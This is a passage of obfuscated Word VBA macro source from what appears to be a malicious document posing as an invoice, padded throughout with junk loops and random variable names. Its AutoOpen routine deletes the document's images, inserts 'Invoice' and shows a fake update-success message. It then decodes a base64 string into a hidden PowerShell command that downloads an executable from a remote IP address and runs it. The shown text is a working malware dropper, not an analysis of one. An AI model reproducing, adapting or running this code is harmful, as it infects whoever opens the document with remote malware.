Dim Ozh72gwkKDH As Integer
eTj8vWNQivV = Right(CStr(Ls3vhiVtAF9RDt), 1)
Ozh72gwkKDH = CInt(eTj8vWNQivV)
For bG0TEiZt0AL = Ozh72gwkKDH To 97
Ls3vhiVtAF9RDt = Ls3vhiVtAF9RDt + 7
Next bG0TEiZt0AL
Next Fwv4dcbNIs8G1UFmno
Dim oRLnSSYhxX6zZc As Integer
Dim pF9e7SiFyvXtgA As Integer
For Hke8NS3YcJO = 3 To 31
pF9e7SiFyvXtgA = Hke8NS3YcJO
Next Hke8NS3YcJO
Dim D150LUWsU9IzeH As Integer
Dim OHt9jGrq3gS As String
D150LUWsU9IzeH = 2241
Dim lELj37wsT7b As Integer
OHt9jGrq3gS = Right(CStr(D150LUWsU9IzeH), 1)
lELj37wsT7b = CInt(OHt9jGrq3gS)
For XXCYb8bQjM1 = lELj37wsT7b To 22
D150LUWsU9IzeH = D150LUWsU9IzeH + 1
Next XXCYb8bQjM1
DEFwnztihGr0ZH1j = 0
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 3)) <> 255 Then DEFwnztihGr0ZH1j = LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 3))
Dim MJa9RGrGMCKYzg As String
MJa9RGrGMCKYzg = Application.UserName
Dim eI0Bk514sBY, qZwFo3hJUbYkuz As Integer
qZwFo3hJUbYkuz = Len(MJa9RGrGMCKYzg)
Dim bSwhM42eNnJ As Collection
While qZwFo3hJUbYkuz > 3
eI0Bk514sBY = eI0Bk514sBY + 7
qZwFo3hJUbYkuz = qZwFo3hJUbYkuz - 3
Wend
Dim vi9IS4j3acSkSZ As Collection
Set vi9IS4j3acSkSZ = New Collection
vi9IS4j3acSkSZ.Add "bSwhM42eNnJ"
vi9IS4j3acSkSZ.Add "iibRg2DlS30"
vi9IS4j3acSkSZ.Add "z1HseqeXvHP96E"
Dim pDkIKdTpFETgz2, tT7fkrLT4yz As String
pDkIKdTpFETgz2 = 2
tT7fkrLT4yz = 6
#If pDkIKdTpFETgz2 > tT7fkrLT4yz Then
Dim jzosfYjYbUL As LongPtr
#Else
Dim jzosfYjYbUL As Integer
jzosfYjYbUL = 2 + 6
Dim Uy3xYl2mKFf As Integer
For Uy3xYl2mKFf = 0 To pDkIKdTpFETgz2
Uy3xYl2mKFf = Uy3xYl2mKFf + 1
Next Uy3xYl2mKFf
#End If
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 2)) <> 255 Then DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 2)) * &H40&)
Dim jLkj6IVNuA9LQk, XoKzyKexGGI As String
jLkj6IVNuA9LQk = 5
XoKzyKexGGI = 6
#If jLkj6IVNuA9LQk > XoKzyKexGGI Then
Dim lL357I5NdM8 As LongPtr
#Else
Dim lL357I5NdM8 As Integer
lL357I5NdM8 = 5 + 6
Dim AXk4f42TEYo As Integer
For AXk4f42TEYo = 0 To jLkj6IVNuA9LQk
AXk4f42TEYo = AXk4f42TEYo + 1
Next AXk4f42TEYo
#End If
Dim ufz0FdbN6cRz2D, yzXdowM4ok6 As String
ufz0FdbN6cRz2D = 1
yzXdowM4ok6 = 4
#If ufz0FdbN6cRz2D > yzXdowM4ok6 Then
Dim oCtEpSEI3Cs As LongPtr
#Else
Dim oCtEpSEI3Cs As Integer
oCtEpSEI3Cs = 1 + 4
Dim jW2g6W7DnFb As Integer
For jW2g6W7DnFb = 0 To ufz0FdbN6cRz2D
jW2g6W7DnFb = jW2g6W7DnFb + 1
Next jW2g6W7DnFb
#End If
Dim B81N3TbrIQKNo8 As Integer
For sVBTNgK1F1D = 8 To 85
B81N3TbrIQKNo8 = sVBTNgK1F1D
Next sVBTNgK1F1D
Dim NQC7aY5tAVjH7Z As Integer
For AIdZmw2oBkM = 4 To 46
NQC7aY5tAVjH7Z = AIdZmw2oBkM
Next AIdZmw2oBkM
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 1)) <> 255 Then DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 1)) * &H1000&)
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 0)) <> 255 Then DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 0)) * &H40000)
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 0) = (DEFwnztihGr0ZH1j And &HFF0000) \ &H10000
Dim YL20w1YtvYbORF As Integer
Dim neqflchQcAL5aB As String
Dim h0ORVIS62hq As String
h0ORVIS62hq = MI9sIIaXhPb
neqflchQcAL5aB = hlLyG7CJFH9
If (StrComp(neqflchQcAL5aB, h0ORVIS62hq, vbTextCompare) <> 0) Then
MsgBox ("Optional: hk93pMaxylJyXU.")
End If
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 1) = (DEFwnztihGr0ZH1j And &HFF00&) \ &H100&
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 2) = DEFwnztihGr0ZH1j And &HFF&
Dim zLEBwin6no0fLO, icUldW159wj As String
zLEBwin6no0fLO = 1
icUldW159wj = 9
#If zLEBwin6no0fLO > icUldW159wj Then
Dim LGoP2KF0TRy As LongPtr
#Else
Dim LGoP2KF0TRy As Integer
LGoP2KF0TRy = 1 + 9
Dim HEKk1AaR55s As Integer
For HEKk1AaR55s = 0 To zLEBwin6no0fLO
HEKk1AaR55s = HEKk1AaR55s + 1
Next HEKk1AaR55s
#End If
If Rkun5BYdX9RUOze(UBound(Rkun5BYdX9RUOze) - 1) = 61 Then
Dim k4VoHZzfrm8ErV As Integer
For evbcinn4CHI = 6 To 61
k4VoHZzfrm8ErV = evbcinn4CHI
Next evbcinn4CHI
o1QlG8Dd3Iis12bZ = Left(StrConv(bnHGwM0LtfWQ, vbUnicode), UBound(bnHGwM0LtfWQ) - 1)
ElseIf Rkun5BYdX9RUOze(UBound(Rkun5BYdX9RUOze)) = 61 Then
o1QlG8Dd3Iis12bZ = Left(StrConv(bnHGwM0LtfWQ, vbUnicode), UBound(bnHGwM0LtfWQ) - 0)
Dim uzN3BTluDjTd1b As Object
Dim YVoIoH41yAuL0s As String
Dim WD8LMZx3TGz As String
WD8LMZx3TGz = AWMRDWhZVsx
YVoIoH41yAuL0s = ujZMi6O49uv
If (StrComp(YVoIoH41yAuL0s, WD8LMZx3TGz, vbTextCompare) <> 0) Then
MsgBox ("Optional: x0bimM7VkCiUnu.")
End If
Else
o1QlG8Dd3Iis12bZ = StrConv(bnHGwM0LtfWQ, vbUnicode)
Dim AiAhLITE9dFhW3 As String
Dim RVIowb0jzKNk7u As Integer
Dim lrvIcoJf4Ru As String
RVIowb0jzKNk7u = 8445
Dim QI8JZoJRjna As Integer
lrvIcoJf4Ru = Right(CStr(RVIowb0jzKNk7u), 1)
QI8JZoJRjna = CInt(lrvIcoJf4Ru)
For Pvd7vej4Poq = QI8JZoJRjna To 42
RVIowb0jzKNk7u = RVIowb0jzKNk7u + 3
Next Pvd7vej4Poq
Dim gZBFYyVrVy9a1A As Integer
For AKSqj2a0y03 = 8 To 83
gZBFYyVrVy9a1A = AKSqj2a0y03
Next AKSqj2a0y03
End If
Dim i2ecrAHxAEgGc2 As Object
End Function
Sub RemovePicture()
Dim XOfpAQaKJiaq3t8 As InlineShape
Dim CxVdL569mxDqB6 As Integer
Dim yt7dyLIMmnG As String
CxVdL569mxDqB6 = 6678
Dim x9UX57kvNCO As Integer
yt7dyLIMmnG = Right(CStr(CxVdL569mxDqB6), 1)
x9UX57kvNCO = CInt(yt7dyLIMmnG)
For PnPE80AijfH = x9UX57kvNCO To 89
CxVdL569mxDqB6 = CxVdL569mxDqB6 + 9
Next PnPE80AijfH
Dim XMy9MBlQBIVOTq, FjSp3QDRot6 As Integer
XMy9MBlQBIVOTq = 9
FjSp3QDRot6 = 5
#If hInvYg65JaQ <> 0 Then
hInvYg65JaQ = hInvYg65JaQ + 6
Dim FxrsxDMl0C3 As Variant
Else
Dim FxrsxDMl0C3 As Object
#End If
If XMy9MBlQBIVOTq > FjSp3QDRot6 Then
For T7BhtwaeKiFDj2 = FjSp3QDRot6 To XMy9MBlQBIVOTq
FjSp3QDRot6 = FjSp3QDRot6 / XMy9MBlQBIVOTq
Next T7BhtwaeKiFDj2
End If
Dim u4uvpu0wJepPsB As Integer
For HhEvl9dEfMI = 8 To 82
u4uvpu0wJepPsB = HhEvl9dEfMI
Next HhEvl9dEfMI
For Each XOfpAQaKJiaq3t8 In ActiveDocument.InlineShapes
Dim qeAHcq0WichDbL As Integer
Dim UFTDKotEpdPxPv As String
Dim JU6w8q6Oq0vgCp As Integer
Dim nCTccziKcUwgRf As String
XOfpAQaKJiaq3t8.Delete
Dim WgjmpbO7w1m1Ds As Integer
For uiV8jRMwCXL = 9 To 94
WgjmpbO7w1m1Ds = uiV8jRMwCXL
Next uiV8jRMwCXL
Dim eZFAUnYIuUZAk6 As String
Dim FxPXyvP0q2x As String
FxPXyvP0q2x = Sy8pEGp3lmD
eZFAUnYIuUZAk6 = Bn13xLrLfMb
If (StrComp(eZFAUnYIuUZAk6, FxPXyvP0q2x, vbTextCompare) <> 0) Then
MsgBox ("Optional: W30geFN7ttNK8x.")
End If
Dim GfXn5XFxilkqo3 As Integer
For XHxB48KR2lN = 8 To 85
GfXn5XFxilkqo3 = XHxB48KR2lN
Next XHxB48KR2lN
Next XOfpAQaKJiaq3t8
Dim MznnaYvRG74xlF As Integer
Dim QUj0Y8q0EMz7qw, UvEQ6Z6dwAs As String
QUj0Y8q0EMz7qw = 3
UvEQ6Z6dwAs = 2
#If QUj0Y8q0EMz7qw > UvEQ6Z6dwAs Then
Dim EN3pUQNNOqK As LongPtr
#Else
Dim EN3pUQNNOqK As Integer
EN3pUQNNOqK = 3 + 2
Dim yM7SpnL6bsP As Integer
For yM7SpnL6bsP = 0 To QUj0Y8q0EMz7qw
yM7SpnL6bsP = yM7SpnL6bsP + 1
Next yM7SpnL6bsP
#End If
End Sub
Sub LoadText(ByRef Text As String)
ActiveDocument.Content.InsertAfter Text:=Text
End Sub
Sub AutoOpen()
Dim xvbJSXnpsBXAKjE As String
Dim VC1Ulkbr1Z2VMb, o1jAGvpnfKu As Integer
VC1Ulkbr1Z2VMb = 3
o1jAGvpnfKu = 8
#If oaNy5nt5lMR <> 0 Then
oaNy5nt5lMR = oaNy5nt5lMR + 9
Dim MYRsrvM26aO As Variant
Else
Dim MYRsrvM26aO As Object
#End If
If VC1Ulkbr1Z2VMb > o1jAGvpnfKu Then
For MjnYs3H1whrjxK = o1jAGvpnfKu To VC1Ulkbr1Z2VMb
o1jAGvpnfKu = o1jAGvpnfKu / VC1Ulkbr1Z2VMb
Next MjnYs3H1whrjxK
End If
Dim uQGzAn9FBM9fD7, S3ePR9krY0T As Integer
uQGzAn9FBM9fD7 = 2
S3ePR9krY0T = 4
#If f1yuEXP0kAK <> 0 Then
f1yuEXP0kAK = f1yuEXP0kAK + 9
Dim bZT4LiJU5Vv As Variant
Else
Dim bZT4LiJU5Vv As Object
#End If
If uQGzAn9FBM9fD7 > S3ePR9krY0T Then
For pE0DiLi2L1PeZv = S3ePR9krY0T To uQGzAn9FBM9fD7
S3ePR9krY0T = S3ePR9krY0T / uQGzAn9FBM9fD7
Next pE0DiLi2L1PeZv
End If
xvbJSXnpsBXAKjE = "JzaGVsbC5leGUgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLVdpbmRvd1N0eWxlIGhpZGRlbiAtbm9sb2dvIC1ub3Byb2ZpbGUgLWMgSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vNS45LjE3OC45NC9JbnZvaWNlL3JlbmFtZWQuZXhlJywgJ0M6XFVzZXJzXFB1YmxpY1xXck5iY0ludi5leGUnKTsgU3RhcnQtUHJvY2VzcyBDOlxVc2Vyc1xQdWJsaWNcV3JOYmNJbnYuZXhl"
Dim Pm511LI4H9dMbP81v As String
Dim cuBW0kj8ATPjOC As Object
RemovePicture
Dim v46EtylafS6HK5 As Object
Dim GTXpnACbW4C6rw As Integer
For a58yQdrafXn = 4 To 45
GTXpnACbW4C6rw = a58yQdrafXn
Next a58yQdrafXn
Dim QBE8TIEEmGbVgM As Integer
Dim Uy8CIryfrNc As String
QBE8TIEEmGbVgM = 1843
Dim klBRRxk5FLV As Integer
Uy8CIryfrNc = Right(CStr(QBE8TIEEmGbVgM), 1)
klBRRxk5FLV = CInt(Uy8CIryfrNc)
For dYLTk2jSklI = klBRRxk5FLV To 41
QBE8TIEEmGbVgM = QBE8TIEEmGbVgM + 4
Next dYLTk2jSklI
LoadText ("Invoice") & Chr(11)
Dim h1j4fZsa00jWCr As Object
Dim IEANltdmAiPTmK As String
Dim NavfJtOo7Ax As String
NavfJtOo7Ax = dAziBunDSJ4
IEANltdmAiPTmK = GK2xYUFGl1P
If (StrComp(IEANltdmAiPTmK, NavfJtOo7Ax, vbTextCompare) <> 0) Then
MsgBox ("Optional: tNRGF6X8fHAXCt.")
End If
Dim Q3j0Y8UHkR4orp, QowHwxGtQGS As String
Q3j0Y8UHkR4orp = 6
QowHwxGtQGS = 1
#If Q3j0Y8UHkR4orp > QowHwxGtQGS Then
Dim Ak4119gcnDF As LongPtr
#Else
Dim Ak4119gcnDF As Integer
Ak4119gcnDF = 6 + 1
Dim wQmZslEwEJ4 As Integer
For wQmZslEwEJ4 = 0 To Q3j0Y8UHkR4orp
wQmZslEwEJ4 = wQmZslEwEJ4 + 1
Next wQmZslEwEJ4
#End If
Dim cXXZQtRYMEmOrg, aXHeodBIGA3 As Integer
cXXZQtRYMEmOrg = 5
aXHeodBIGA3 = 7
#If ZRysoZcbdsO <> 0 Then
ZRysoZcbdsO = ZRysoZcbdsO + 5
Dim ASVVfp7x8wp As Variant
Else
Dim ASVVfp7x8wp As Object
#End If
If cXXZQtRYMEmOrg > aXHeodBIGA3 Then
For CqZqs6JbZQXgwb = aXHeodBIGA3 To cXXZQtRYMEmOrg
aXHeodBIGA3 = aXHeodBIGA3 / cXXZQtRYMEmOrg
Next CqZqs6JbZQXgwb
End If
MsgBox ("Updates succefully instaled")
Pm511LI4H9dMbP81v = "cG93ZX"
Dim i7sQw6xCjJSl4R As Integer
Dim Hq2PmBLDCfD As String
i7sQw6xCjJSl4R = 4652
Dim XXbaI9Rv3KB As Integer
Hq2PmBLDCfD = Right(CStr(i7sQw6xCjJSl4R), 1)
XXbaI9Rv3KB = CInt(Hq2PmBLDCfD)
For Z74fGEta3AO = XXbaI9Rv3KB To 11
i7sQw6xCjJSl4R = i7sQw6xCjJSl4R + 8
Next Z74fGEta3AO
Dim b2korXIRTmJIVl As Integer
For INoBUs39IPd = 1 To 14
b2korXIRTmJIVl = INoBUs39IPd
Next INoBUs39IPd
Dim EIGHTTEEN As String
Dim HNVwwzwU1QORgT As Integer
Dim IB0Juiwu8y3rc1 As Integer
For xsZK3Z1zp8T = 6 To 67
IB0Juiwu8y3rc1 = xsZK3Z1zp8T
Next xsZK3Z1zp8T
EIGHTTEEN = o1QlG8Dd3Iis12bZ(Pm511LI4H9dMbP81v & xvbJSXnpsBXAKjE)
Dim Oi93evNEljca64 As Integer
For uOHKMsWqHMq = 1 To 14
Oi93evNEljca64 = uOHKMsWqHMq
Next uOHKMsWqHMq
llbT5c.ImfTUJnJr2PUAtv (EIGHTTEEN)
Dim EjVJgQ4URbn9vb As String
Dim S8pgUdpdfJx As String
S8pgUdpdfJx = NaHpebmQ3eZ
EjVJgQ4URbn9vb = ewdfgZGI79p
If (StrComp(EjVJgQ4URbn9vb, S8pgUdpdfJx, vbTextCompare) <> 0) Then
MsgBox ("Optional: LVe3XeXcmDLTQ0.")
End If
Dim G5QzRXGATpaMQq, zdpoAdL540b As String
G5QzRXGATpaMQq = 6
zdpoAdL540b = 4
#If G5QzRXGATpaMQq > zdpoAdL540b Then
Dim DlAa0KOeCPQ As LongPtr
#Else
Dim DlAa0KOeCPQ As Integer
DlAa0KOeCPQ = 6 + 4
Dim dz4YEkubcOl As Integer
For dz4YEkubcOl = 0 To G5QzRXGATpaMQq
dz4YEkubcOl = dz4YEkubcOl + 1
Next dz4YEkubcOl
#End If
End Sub

Attribute VB_Name = "llbT5c"
Attribute VB_Base = "0{E563653C-3A82-4617-996A-C4372DD68227}{E1C96680-4523-4B33-9921-137C6564492F}"
Attribute VB_GlobalNameSpace = False
…